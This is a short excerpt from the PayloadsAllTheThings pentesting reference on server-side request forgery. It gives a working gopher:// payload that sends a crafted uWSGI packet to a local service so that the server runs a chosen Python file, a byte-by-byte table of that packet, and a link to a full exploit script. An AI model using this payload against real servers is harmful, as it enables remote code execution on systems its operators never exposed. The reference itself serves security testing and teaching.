Exploit using the Gopher protocol, full exploit script available at [wofeiwo/webcgi-exploits/uwsgi_exp.py](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py).
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py| Header | | | |-----------|-----------|-------------| | modifier1 | (1 byte) | 0 (%00) | | datasize | (2 bytes) | 26 (%1A%00) | | modifier2 | (1 byte) | 0 (%00) | | Variable (UWSGI_FILE) | | | | |-----------------------|-----------|----|----------------| | key length | (2 bytes) | 10 | (%0A%00) | | key data | (m bytes) | | UWSGI_FILE | | value length | (2 bytes) | 12 | (%0C%00) | | value data | (n bytes) | | /tmp/test.py |
Source: Server Side Request Forgery/SSRF-Advanced-Exploitation.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.